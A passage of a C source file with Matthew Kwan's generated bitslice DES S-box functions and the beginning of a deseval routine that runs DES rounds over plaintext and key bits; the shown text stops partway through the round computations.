/* * Generated S-box files. * * Produced by Matthew Kwan - March 1998 */ /* To generate this from the original code: perl -p0i~ -E ' s/\s*s(\d+) \(((\s*\S+\s*\^\s*\S+\s*,)+)/my@v;$n=$1;@pre=map{push@v,"t".++$c;" unsigned long t$c = $_;\n"} ($2=~m%\S+\s*\^\s*\w+%g);"@pre"." s$n(".(join",",@v).","/ge' des_kwan.c perl -pe 's%\s*(s\d)(.*?)(&.*)%my(@p,@n,@c);$f=$1;$s=$2;for($3=~/&(\w+)/g){$v=out.++$i;push@p," unsigned long $v;";push@n," $_ = $_ ^ $v;";push@c,"\&$v";}; join("\n",@p) . ("\n $f$s") . join(",",@c) . ");\n" . join("\n",@n)%e' des_kwan.c > des_kwan_output_sep.c */ static void s1 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42, x43, x44, x45, x46, x47, x48; unsigned long x49, x50, x51, x52, x53, x54, x55, x56; unsigned long x57, x58, x59, x60, x61, x62, x63; x1 = ~a4; x2 = ~a1; x3 = a4 ^ a3; x4 = x3 ^ x2; x5 = a3 | x2; x6 = x5 & x1; x7 = a6 | x6; x8 = x4 ^ x7; x9 = x1 | x2; x10 = a6 & x9; x11 = x7 ^ x10; x12 = a2 | x11; x13 = x8 ^ x12; x14 = x9 ^ x13; x15 = a6 | x14; x16 = x1 ^ x15; x17 = ~x14; x18 = x17 & x3; x19 = a2 | x18; x20 = x16 ^ x19; x21 = a5 | x20; x22 = x13 ^ x21; *out4 = x22; x23 = a3 | x4; x24 = ~x23; x25 = a6 | x24; x26 = x6 ^ x25; x27 = x1 & x8; x28 = a2 | x27; x29 = x26 ^ x28; x30 = x1 | x8; x31 = x30 ^ x6; x32 = x5 & x14; x33 = x32 ^ x8; x34 = a2 & x33; x35 = x31 ^ x34; x36 = a5 | x35; x37 = x29 ^ x36; *out1 = x37; x38 = a3 & x10; x39 = x38 | x4; x40 = a3 & x33; x41 = x40 ^ x25; x42 = a2 | x41; x43 = x39 ^ x42; x44 = a3 | x26; x45 = x44 ^ x14; x46 = a1 | x8; x47 = x46 ^ x20; x48 = a2 | x47; x49 = x45 ^ x48; x50 = a5 & x49; x51 = x43 ^ x50; *out2 = x51; x52 = x8 ^ x40; x53 = a3 ^ x11; x54 = x53 & x5; x55 = a2 | x54; x56 = x52 ^ x55; x57 = a6 | x4; x58 = x57 ^ x38; x59 = x13 & x56; x60 = a2 & x59; x61 = x58 ^ x60; x62 = a5 & x61; x63 = x56 ^ x62; *out3 = x63; } static void s2 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42, x43, x44, x45, x46, x47, x48; unsigned long x49, x50, x51, x52, x53, x54, x55, x56; x1 = ~a5; x2 = ~a1; x3 = a5 ^ a6; x4 = x3 ^ x2; x5 = x4 ^ a2; x6 = a6 | x1; x7 = x6 | x2; x8 = a2 & x7; x9 = a6 ^ x8; x10 = a3 & x9; x11 = x5 ^ x10; x12 = a2 & x9; x13 = a5 ^ x6; x14 = a3 | x13; x15 = x12 ^ x14; x16 = a4 & x15; x17 = x11 ^ x16; *out2 = x17; x18 = a5 | a1; x19 = a6 | x18; x20 = x13 ^ x19; x21 = x20 ^ a2; x22 = a6 | x4; x23 = x22 & x17; x24 = a3 | x23; x25 = x21 ^ x24; x26 = a6 | x2; x27 = a5 & x2; x28 = a2 | x27; x29 = x26 ^ x28; x30 = x3 ^ x27; x31 = x2 ^ x19; x32 = a2 & x31; x33 = x30 ^ x32; x34 = a3 & x33; x35 = x29 ^ x34; x36 = a4 | x35; x37 = x25 ^ x36; *out3 = x37; x38 = x21 & x32; x39 = x38 ^ x5; x40 = a1 | x15; x41 = x40 ^ x13; x42 = a3 | x41; x43 = x39 ^ x42; x44 = x28 | x41; x45 = a4 & x44; x46 = x43 ^ x45; *out1 = x46; x47 = x19 & x21; x48 = x47 ^ x26; x49 = a2 & x33; x50 = x49 ^ x21; x51 = a3 & x50; x52 = x48 ^ x51; x53 = x18 & x28; x54 = x53 & x50; x55 = a4 | x54; x56 = x52 ^ x55; *out4 = x56; } static void s3 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42, x43, x44, x45, x46, x47, x48; unsigned long x49, x50, x51, x52, x53, x54, x55, x56; unsigned long x57; x1 = ~a5; x2 = ~a6; x3 = a5 & a3; x4 = x3 ^ a6; x5 = a4 & x1; x6 = x4 ^ x5; x7 = x6 ^ a2; x8 = a3 & x1; x9 = a5 ^ x2; x10 = a4 | x9; x11 = x8 ^ x10; x12 = x7 & x11; x13 = a5 ^ x11; x14 = x13 | x7; x15 = a4 & x14; x16 = x12 ^ x15; x17 = a2 & x16; x18 = x11 ^ x17; x19 = a1 & x18; x20 = x7 ^ x19; *out4 = x20; x21 = a3 ^ a4; x22 = x21 ^ x9; x23 = x2 | x4; x24 = x23 ^ x8; x25 = a2 | x24; x26 = x22 ^ x25; x27 = a6 ^ x23; x28 = x27 | a4; x29 = a3 ^ x15; x30 = x29 | x5; x31 = a2 | x30; x32 = x28 ^ x31; x33 = a1 | x32; x34 = x26 ^ x33; *out1 = x34; x35 = a3 ^ x9; x36 = x35 | x5; x37 = x4 | x29; x38 = x37 ^ a4; x39 = a2 | x38; x40 = x36 ^ x39; x41 = a6 & x11; x42 = x41 | x6; x43 = x34 ^ x38; x44 = x43 ^ x41; x45 = a2 & x44; x46 = x42 ^ x45; x47 = a1 | x46; x48 = x40 ^ x47; *out3 = x48; x49 = x2 | x38; x50 = x49 ^ x13; x51 = x27 ^ x28; x52 = a2 | x51; x53 = x50 ^ x52; x54 = x12 & x23; x55 = x54 & x52; x56 = a1 | x55; x57 = x53 ^ x56; *out2 = x57; } static void s4 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42; x1 = ~a1; x2 = ~a3; x3 = a1 | a3; x4 = a5 & x3; x5 = x1 ^ x4; x6 = a2 | a3; x7 = x5 ^ x6; x8 = a1 & a5; x9 = x8 ^ x3; x10 = a2 & x9; x11 = a5 ^ x10; x12 = a4 & x11; x13 = x7 ^ x12; x14 = x2 ^ x4; x15 = a2 & x14; x16 = x9 ^ x15; x17 = x5 & x14; x18 = a5 ^ x2; x19 = a2 | x18; x20 = x17 ^ x19; x21 = a4 | x20; x22 = x16 ^ x21; x23 = a6 & x22; x24 = x13 ^ x23; *out2 = x24; x25 = ~x13; x26 = a6 | x22; x27 = x25 ^ x26; *out1 = x27; x28 = a2 & x11; x29 = x28 ^ x17; x30 = a3 ^ x10; x31 = x30 ^ x19; x32 = a4 & x31; x33 = x29 ^ x32; x34 = x25 ^ x33; x35 = a2 & x34; x36 = x24 ^ x35; x37 = a4 | x34; x38 = x36 ^ x37; x39 = a6 & x38; x40 = x33 ^ x39; *out4 = x40; x41 = x26 ^ x38; x42 = x41 ^ x40; *out3 = x42; } static void s5 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42, x43, x44, x45, x46, x47, x48; unsigned long x49, x50, x51, x52, x53, x54, x55, x56; unsigned long x57, x58, x59, x60, x61, x62; x1 = ~a6; x2 = ~a3; x3 = x1 | x2; x4 = x3 ^ a4; x5 = a1 & x3; x6 = x4 ^ x5; x7 = a6 | a4; x8 = x7 ^ a3; x9 = a3 | x7; x10 = a1 | x9; x11 = x8 ^ x10; x12 = a5 & x11; x13 = x6 ^ x12; x14 = ~x4; x15 = x14 & a6; x16 = a1 | x15; x17 = x8 ^ x16; x18 = a5 | x17; x19 = x10 ^ x18; x20 = a2 | x19; x21 = x13 ^ x20; *out3 = x21; x22 = x2 | x15; x23 = x22 ^ a6; x24 = a4 ^ x22; x25 = a1 & x24; x26 = x23 ^ x25; x27 = a1 ^ x11; x28 = x27 & x22; x29 = a5 | x28; x30 = x26 ^ x29; x31 = a4 | x27; x32 = ~x31; x33 = a2 | x32; x34 = x30 ^ x33; *out2 = x34; x35 = x2 ^ x15; x36 = a1 & x35; x37 = x14 ^ x36; x38 = x5 ^ x7; x39 = x38 & x34; x40 = a5 | x39; x41 = x37 ^ x40; x42 = x2 ^ x5; x43 = x42 & x16; x44 = x4 & x27; x45 = a5 & x44; x46 = x43 ^ x45; x47 = a2 | x46; x48 = x41 ^ x47; *out1 = x48; x49 = x24 & x48; x50 = x49 ^ x5; x51 = x11 ^ x30; x52 = x51 | x50; x53 = a5 & x52; x54 = x50 ^ x53; x55 = x14 ^ x19; x56 = x55 ^ x34; x57 = x4 ^ x16; x58 = x57 & x30; x59 = a5 & x58; x60 = x56 ^ x59; x61 = a2 | x60; x62 = x54 ^ x61; *out4 = x62; } static void s6 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42, x43, x44, x45, x46, x47, x48; unsigned long x49, x50, x51, x52, x53, x54, x55, x56; unsigned long x57; x1 = ~a2; x2 = ~a5; x3 = a2 ^ a6; x4 = x3 ^ x2; x5 = x4 ^ a1; x6 = a5 & a6; x7 = x6 | x1; x8 = a5 & x5; x9 = a1 & x8; x10 = x7 ^ x9; x11 = a4 & x10; x12 = x5 ^ x11; x13 = a6 ^ x10; x14 = x13 & a1; x15 = a2 & a6; x16 = x15 ^ a5; x17 = a1 & x16; x18 = x2 ^ x17; x19 = a4 | x18; x20 = x14 ^ x19; x21 = a3 & x20; x22 = x12 ^ x21; *out2 = x22; x23 = a6 ^ x18; x24 = a1 & x23; x25 = a5 ^ x24; x26 = a2 ^ x17; x27 = x26 | x6; x28 = a4 & x27; x29 = x25 ^ x28; x30 = ~x26; x31 = a6 | x29; x32 = ~x31; x33 = a4 & x32; x34 = x30 ^ x33; x35 = a3 & x34; x36 = x29 ^ x35; *out4 = x36; x37 = x6 ^ x34; x38 = a5 & x23; x39 = x38 ^ x5; x40 = a4 | x39; x41 = x37 ^ x40; x42 = x16 | x24; x43 = x42 ^ x1; x44 = x15 ^ x24; x45 = x44 ^ x31; x46 = a4 | x45; x47 = x43 ^ x46; x48 = a3 | x47; x49 = x41 ^ x48; *out1 = x49; x50 = x5 | x38; x51 = x50 ^ x6; x52 = x8 & x31; x53 = a4 | x52; x54 = x51 ^ x53; x55 = x30 & x43; x56 = a3 | x55; x57 = x54 ^ x56; *out3 = x57; } static void s7 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42, x43, x44, x45, x46, x47, x48; unsigned long x49, x50, x51, x52, x53, x54, x55, x56; unsigned long x57; x1 = ~a2; x2 = ~a5; x3 = a2 & a4; x4 = x3 ^ a5; x5 = x4 ^ a3; x6 = a4 & x4; x7 = x6 ^ a2; x8 = a3 & x7; x9 = a1 ^ x8; x10 = a6 | x9; x11 = x5 ^ x10; x12 = a4 & x2; x13 = x12 | a2; x14 = a2 | x2; x15 = a3 & x14; x16 = x13 ^ x15; x17 = x6 ^ x11; x18 = a6 | x17; x19 = x16 ^ x18; x20 = a1 & x19; x21 = x11 ^ x20; *out1 = x21; x22 = a2 | x21; x23 = x22 ^ x6; x24 = x23 ^ x15; x25 = x5 ^ x6; x26 = x25 | x12; x27 = a6 | x26; x28 = x24 ^ x27; x29 = x1 & x19; x30 = x23 & x26; x31 = a6 & x30; x32 = x29 ^ x31; x33 = a1 | x32; x34 = x28 ^ x33; *out4 = x34; x35 = a4 & x16; x36 = x35 | x1; x37 = a6 & x36; x38 = x11 ^ x37; x39 = a4 & x13; x40 = a3 | x7; x41 = x39 ^ x40; x42 = x1 | x24; x43 = a6 | x42; x44 = x41 ^ x43; x45 = a1 | x44; x46 = x38 ^ x45; *out2 = x46; x47 = x8 ^ x44; x48 = x6 ^ x15; x49 = a6 | x48; x50 = x47 ^ x49; x51 = x19 ^ x44; x52 = a4 ^ x25; x53 = x52 & x46; x54 = a6 & x53; x55 = x51 ^ x54; x56 = a1 | x55; x57 = x50 ^ x56; *out3 = x57; } static void s8 ( unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5, unsigned long a6, unsigned long *out1, unsigned long *out2, unsigned long *out3, unsigned long *out4 ) { unsigned long x1, x2, x3, x4, x5, x6, x7, x8; unsigned long x9, x10, x11, x12, x13, x14, x15, x16; unsigned long x17, x18, x19, x20, x21, x22, x23, x24; unsigned long x25, x26, x27, x28, x29, x30, x31, x32; unsigned long x33, x34, x35, x36, x37, x38, x39, x40; unsigned long x41, x42, x43, x44, x45, x46, x47, x48; unsigned long x49, x50, x51, x52, x53, x54; x1 = ~a1; x2 = ~a4; x3 = a3 ^ x1; x4 = a3 | x1; x5 = x4 ^ x2; x6 = a5 | x5; x7 = x3 ^ x6; x8 = x1 | x5; x9 = x2 ^ x8; x10 = a5 & x9; x11 = x8 ^ x10; x12 = a2 & x11; x13 = x7 ^ x12; x14 = x6 ^ x9; x15 = x3 & x9; x16 = a5 & x8; x17 = x15 ^ x16; x18 = a2 | x17; x19 = x14 ^ x18; x20 = a6 | x19; x21 = x13 ^ x20; *out1 = x21; x22 = a5 | x3; x23 = x22 & x2; x24 = ~a3; x25 = x24 & x8; x26 = a5 & x4; x27 = x25 ^ x26; x28 = a2 | x27; x29 = x23 ^ x28; x30 = a6 & x29; x31 = x13 ^ x30; *out4 = x31; x32 = x5 ^ x6; x33 = x32 ^ x22; x34 = a4 | x13; x35 = a2 & x34; x36 = x33 ^ x35; x37 = a1 & x33; x38 = x37 ^ x8; x39 = a1 ^ x23; x40 = x39 & x7; x41 = a2 & x40; x42 = x38 ^ x41; x43 = a6 | x42; x44 = x36 ^ x43; *out3 = x44; x45 = a1 ^ x10; x46 = x45 ^ x22; x47 = ~x7; x48 = x47 & x8; x49 = a2 | x48; x50 = x46 ^ x49; x51 = x19 ^ x29; x52 = x51 | x38; x53 = a6 & x52; x54 = x50 ^ x53; *out2 = x54; } /* * Bitslice implementation of DES. * * Checks that the plaintext bits p[0] .. p[63] * encrypt to the ciphertext bits c[0] .. c[63] * given the key bits k0 .. k55 */ void deseval ( const unsigned long *p, unsigned long *c, const unsigned long *k ) { unsigned long result = ~0UL; unsigned long l0 = p[6]; unsigned long l1 = p[14]; unsigned long l2 = p[22]; unsigned long l3 = p[30]; unsigned long l4 = p[38]; unsigned long l5 = p[46]; unsigned long l6 = p[54]; unsigned long l7 = p[62]; unsigned long l8 = p[4]; unsigned long l9 = p[12]; unsigned long l10 = p[20]; unsigned long l11 = p[28]; unsigned long l12 = p[36]; unsigned long l13 = p[44]; unsigned long l14 = p[52]; unsigned long l15 = p[60]; unsigned long l16 = p[2]; unsigned long l17 = p[10]; unsigned long l18 = p[18]; unsigned long l19 = p[26]; unsigned long l20 = p[34]; unsigned long l21 = p[42]; unsigned long l22 = p[50]; unsigned long l23 = p[58]; unsigned long l24 = p[0]; unsigned long l25 = p[8]; unsigned long l26 = p[16]; unsigned long l27 = p[24]; unsigned long l28 = p[32]; unsigned long l29 = p[40]; unsigned long l30 = p[48]; unsigned long l31 = p[56]; unsigned long r0 = p[7]; unsigned long r1 = p[15]; unsigned long r2 = p[23]; unsigned long r3 = p[31]; unsigned long r4 = p[39]; unsigned long r5 = p[47]; unsigned long r6 = p[55]; unsigned long r7 = p[63]; unsigned long r8 = p[5]; unsigned long r9 = p[13]; unsigned long r10 = p[21]; unsigned long r11 = p[29]; unsigned long r12 = p[37]; unsigned long r13 = p[45]; unsigned long r14 = p[53]; unsigned long r15 = p[61]; unsigned long r16 = p[3]; unsigned long r17 = p[11]; unsigned long r18 = p[19]; unsigned long r19 = p[27]; unsigned long r20 = p[35]; unsigned long r21 = p[43]; unsigned long r22 = p[51]; unsigned long r23 = p[59]; unsigned long r24 = p[1]; unsigned long r25 = p[9]; unsigned long r26 = p[17]; unsigned long r27 = p[25]; unsigned long r28 = p[33]; unsigned long r29 = p[41]; unsigned long r30 = p[49]; unsigned long r31 = p[57]; unsigned long k0 = k[0]; unsigned long k1 = k[1]; unsigned long k2 = k[2]; unsigned long k3 = k[3]; unsigned long k4 = k[4]; unsigned long k5 = k[5]; unsigned long k6 = k[6]; unsigned long k7 = k[7]; unsigned long k8 = k[8]; unsigned long k9 = k[9]; unsigned long k10 = k[10]; unsigned long k11 = k[11]; unsigned long k12 = k[12]; unsigned long k13 = k[13]; unsigned long k14 = k[14]; unsigned long k15 = k[15]; unsigned long k16 = k[16]; unsigned long k17 = k[17]; unsigned long k18 = k[18]; unsigned long k19 = k[19]; unsigned long k20 = k[20]; unsigned long k21 = k[21]; unsigned long k22 = k[22]; unsigned long k23 = k[23]; unsigned long k24 = k[24]; unsigned long k25 = k[25]; unsigned long k26 = k[26]; unsigned long k27 = k[27]; unsigned long k28 = k[28]; unsigned long k29 = k[29]; unsigned long k30 = k[30]; unsigned long k31 = k[31]; unsigned long k32 = k[32]; unsigned long k33 = k[33]; unsigned long k34 = k[34]; unsigned long k35 = k[35]; unsigned long k36 = k[36]; unsigned long k37 = k[37]; unsigned long k38 = k[38]; unsigned long k39 = k[39]; unsigned long k40 = k[40]; unsigned long k41 = k[41]; unsigned long k42 = k[42]; unsigned long k43 = k[43]; unsigned long k44 = k[44]; unsigned long k45 = k[45]; unsigned long k46 = k[46]; unsigned long k47 = k[47]; unsigned long k48 = k[48]; unsigned long k49 = k[49]; unsigned long k50 = k[50]; unsigned long k51 = k[51]; unsigned long k52 = k[52]; unsigned long k53 = k[53]; unsigned long k54 = k[54]; unsigned long k55 = k[55]; unsigned long k56 = k[56]; unsigned long k57 = k[57]; unsigned long k58 = k[58]; unsigned long k59 = k[59]; unsigned long k60 = k[60]; unsigned long k61 = k[61]; unsigned long k62 = k[62]; unsigned long k63 = k[63]; unsigned long t1 = r31 ^ k47; unsigned long t2 = r0 ^ k11; unsigned long t3 = r1 ^ k26; unsigned long t4 = r2 ^ k3; unsigned long t5 = r3 ^ k13; unsigned long t6 = r4 ^ k41; unsigned long out1; unsigned long out2; unsigned long out3; unsigned long out4; s1(t1,t2,t3,t4,t5,t6, &out1,&out2,&out3,&out4); l8 = l8 ^ out1; l16 = l16 ^ out2; l22 = l22 ^ out3; l30 = l30 ^ out4; unsigned long t7 = r3 ^ k27; unsigned long t8 = r4 ^ k6; unsigned long t9 = r5 ^ k54; unsigned long t10 = r6 ^ k48; unsigned long t11 = r7 ^ k39; unsigned long t12 = r8 ^ k19; unsigned long out5; unsigned long out6; unsigned long out7; unsigned long out8; s2(t7,t8,t9,t10,t11,t12, &out5,&out6,&out7,&out8); l12 = l12 ^ out5; l27 = l27 ^ out6; l1 = l1 ^ out7; l17 = l17 ^ out8; unsigned long t13 = r7 ^ k53; unsigned long t14 = r8 ^ k25; unsigned long t15 = r9 ^ k33; unsigned long t16 = r10 ^ k34; unsigned long t17 = r11 ^ k17; unsigned long t18 = r12 ^ k5; unsigned long out9; unsigned long out10; unsigned long out11; unsigned long out12; s3(t13,t14,t15,t16,t17,t18, &out9,&out10,&out11,&out12); l23 = l23 ^ out9; l15 = l15 ^ out10; l29 = l29 ^ out11; l5 = l5 ^ out12; unsigned long t19 = r11 ^ k4; unsigned long t20 = r12 ^ k55; unsigned long t21 = r13 ^ k24; unsigned long t22 = r14 ^ k32; unsigned long t23 = r15 ^ k40; unsigned long t24 = r16 ^ k20; unsigned long out13; unsigned long out14; unsigned long out15; unsigned long out16; s4(t19,t20,t21,t22,t23,t24, &out13,&out14,&out15,&out16); l25 = l25 ^ out13; l19 = l19 ^ out14; l9 = l9 ^ out15; l0 = l0 ^ out16; unsigned long t25 = r15 ^ k36; unsigned long t26 = r16 ^ k31; unsigned long t27 = r17 ^ k21; unsigned long t28 = r18 ^ k8; unsigned long t29 = r19 ^ k23; unsigned long t30 = r20 ^ k52; unsigned long out17; unsigned long out18; unsigned long out19; unsigned long out20; s5(t25,t26,t27,t28,t29,t30, &out17,&out18,&out19,&out20); l7 = l7 ^ out17; l13 = l13 ^ out18; l24 = l24 ^ out19; l2 = l2 ^ out20; unsigned long t31 = r19 ^ k14; unsigned long t32 = r20 ^ k29; unsigned long t33 = r21 ^ k51; unsigned long t34 = r22 ^ k9; unsigned long t35 = r23 ^ k35; unsigned long t36 = r24 ^ k30; unsigned long out21; unsigned long out22; unsigned long out23; unsigned long out24; s6(t31,t32,t33,t34,t35,t36, &out21,&out22,&out23,&out24); l3 = l3 ^ out21; l28 = l28 ^ out22; l10 = l10 ^ out23; l18 = l18 ^ out24; unsigned long t37 = r23 ^ k2; unsigned long t38 = r24 ^ k37; unsigned long t39 = r25 ^ k22; unsigned long t40 = r26 ^ k0; unsigned long t41 = r27 ^ k42; unsigned long t42 = r28 ^ k38; unsigned long out25; unsigned long out26; unsigned long out27; unsigned long out28; s7(t37,t38,t39,t40,t41,t42, &out25,&out26,&out27,&out28); l31 = l31 ^ out25; l11 = l11 ^ out26; l21 = l21 ^ out27; l6 = l6 ^ out28; unsigned long t43 = r27 ^ k16; unsigned long t44 = r28 ^ k43; unsigned long t45 = r29 ^ k44; unsigned long t46 = r30 ^ k1; unsigned long t47 = r31 ^ k7; unsigned long t48 = r0 ^ k28; unsigned long out29; unsigned long out30; unsigned long out31; unsigned long out32; s8(t43,t44,t45,t46,t47,t48, &out29,&out30,&out31,&out32); l4 = l4 ^ out29; l26 = l26 ^ out30; l14 = l14 ^ out31; l20 = l20 ^ out32; unsigned long t49 = l31 ^ k54; unsigned long t50 = l0 ^ k18; unsigned long t51 = l1 ^ k33; unsigned long t52 = l2 ^ k10; unsigned long t53 = l3 ^ k20; unsigned long t54 = l4 ^ k48; unsigned long out33; unsigned long out34; unsigned long out35; unsigned long out36; s1(t49,t50,t51,t52,t53,t54, &out33,&out34,&out35,&out36); r8 = r8 ^ out33; r16 = r16 ^ out34; r22 = r22 ^ out35; r30 = r30 ^ out36; unsigned long t55 = l3 ^ k34; unsigned long t56 = l4 ^ k13; unsigned long t57 = l5 ^ k4; unsigned long t58 = l6 ^ k55; unsigned long t59 = l7 ^ k46; unsigned long t60 = l8 ^ k26; unsigned long out37; unsigned long out38; unsigned long out39; unsigned long out40; s2(t55,t56,t57,t58,t59,t60, &out37,&out38,&out39,&out40); r12 = r12 ^ out37; r27 = r27 ^ out38; r1 = r1 ^ out39; r17 = r17 ^ out40; unsigned long t61 = l7 ^ k3; unsigned long t62 = l8 ^ k32; unsigned long t63 = l9 ^ k40; unsigned long t64 = l10 ^ k41; unsigned long t65 = l11 ^ k24; unsigned long t66 = l12 ^ k12; unsigned long out41; unsigned long out42; unsigned long out43; unsigned long out44; s3(t61,t62,t63,t64,t65,t66, &out41,&out42,&out43,&out44); r23 = r23 ^ out41; r15 = r15 ^ out42; r29 = r29 ^ out43; r5 = r5 ^ out44; unsigned long t67 = l11 ^ k11; unsigned long t68 = l12 ^ k5; unsigned long t69 = l13 ^ k6; unsigned long t70 = l14 ^ k39; unsigned long t71 = l15 ^ k47; unsigned long t72 = l16 ^ k27; unsigned long out45; unsigned long out46; unsigned long out47; unsigned long out48; s4(t67,t68,t69,t70,t71,t72, &out45,&out46,&out47,&out48); r25 = r25 ^ out45; r19 = r19 ^ out46; r9 = r9 ^ out47; r0 = r0 ^ out48; unsigned long t73 = l15 ^ k43; unsigned long t74 = l16 ^ k38; unsigned long t75 = l17 ^ k28; unsigned long t76 = l18 ^ k15; unsigned long t77 = l19 ^ k30; unsigned long t78 = l20 ^ k0; unsigned long out49; unsigned long out50; unsigned long out51; unsigned long out52; s5(t73,t74,t75,t76,t77,t78, &out49,&out50,&out51,&out52); r7 = r7 ^ out49; r13 = r13 ^ out50; r24 = r24 ^ out51; r2 = r2 ^ out52; unsigned long t79 = l19 ^ k21; unsigned long t80 = l20 ^ k36; unsigned long t81 = l21 ^ k31; unsigned long t82 = l22 ^ k16; unsigned long t83 = l23 ^ k42; unsigned long t84 = l24 ^ k37; unsigned long out53; unsigned long out54; unsigned long out55; unsigned long out56; s6(t79,t80,t81,t82,t83,t84, &out53,&out54,&out55,&out56); r3 = r3 ^ out53; r28 = r28 ^ out54; r10 = r10 ^ out55; r18 = r18 ^ out56; unsigned long t85 = l23 ^ k9; unsigned long t86 = l24 ^ k44; unsigned long t87 = l25 ^ k29; unsigned long t88 = l26 ^ k7; unsigned long t89 = l27 ^ k49; unsigned long t90 = l28 ^ k45; unsigned long out57; unsigned long out58; unsigned long out59; unsigned long out60; s7(t85,t86,t87,t88,t89,t90, &out57,&out58,&out59,&out60); r31 = r31 ^ out57; r11 = r11 ^ out58; r21 = r21 ^ out59; r6 = r6 ^ out60; unsigned long t91 = l27 ^ k23; unsigned long t92 = l28 ^ k50; unsigned long t93 = l29 ^ k51; unsigned long t94 = l30 ^ k8; unsigned long t95 = l31 ^ k14; unsigned long t96 = l0 ^ k35; unsigned long out61; unsigned long out62; unsigned long out63; unsigned long out64; s8(t91,t92,t93,t94,t95,t96, &out61,&out62,&out63,&out64); r4 = r4 ^ out61; r26 = r26 ^ out62; r14 = r14 ^ out63; r20 = r20 ^ out64; unsigned long t97 = r31 ^ k11; unsigned long t98 = r0 ^ k32; unsigned long t99 = r1 ^ k47; unsigned long t100 = r2 ^ k24; unsigned long t101 = r3 ^ k34; unsigned long t102 = r4 ^ k5; unsigned long out65; unsigned long out66; unsigned long out67; unsigned long out68; s1(t97,t98,t99,t100,t101,t102, &out65,&out66,&out67,&out68); l8 = l8 ^ out65; l16 = l16 ^ out66; l22 = l22 ^ out67; l30 = l30 ^ out68; unsigned long t103 = r3 ^ k48; unsigned long t104 = r4 ^ k27; unsigned long t105 = r5 ^ k18; unsigned long t106 = r6 ^ k12; unsigned long t107 = r7 ^ k3; unsigned long t108 = r8 ^ k40; unsigned long out69; unsigned long out70; unsigned long out71; unsigned long out72; s2(t103,t104,t105,t106,t107,t108, &out69,&out70,&out71,&out72); l12 = l12 ^ out69; l27 = l27 ^ out70; l1 = l1 ^ out71; l17 = l17 ^ out72; unsigned long t109 = r7 ^ k17; unsigned long t110 = r8 ^ k46; unsigned long t111 = r9 ^ k54; unsigned long t112 = r10 ^ k55; unsigned long t113 = r11 ^ k13; unsigned long t114 = r12 ^ k26; unsigned long out73; unsigned long out74; unsigned long out75; unsigned long out76; s3(t109,t110,t111,t112,t113,t114, &out73,&out74,&out75,&out76); l23 = l23 ^ out73; l15 = l15 ^ out74; l29 = l29 ^ out75; l5 = l5 ^ out76; unsigned long t115 = r11 ^ k25; unsigned long t116 = r12 ^ k19; unsigned long t117 = r13 ^ k20; unsigned long t118 = r14 ^ k53; unsigned long t119 = r15 ^ k4; unsigned long t120 = r16 ^ k41; unsigned long out77; unsigned long out78; unsigned long out79; unsigned long out80; s4(t115,t116,t117,t118,t119,t120, &out77,&out78,&out79,&out80); l25 = l25 ^ out77; l19 = l19 ^ out78; l9 = l9 ^ out79; l0 = l0 ^ out80; unsigned long t121 = r15 ^ k2; unsigned long t122 = r16 ^ k52; unsigned long t123 = r17 ^ k42; unsigned long t124 = r18 ^ k29; unsigned long t125 = r19 ^ k44; unsigned long t126 = r20 ^ k14; unsigned long out81; unsigned long out82; unsigned long out83; unsigned long out84; s5(t121,t122,t123,t124,t125,t126, 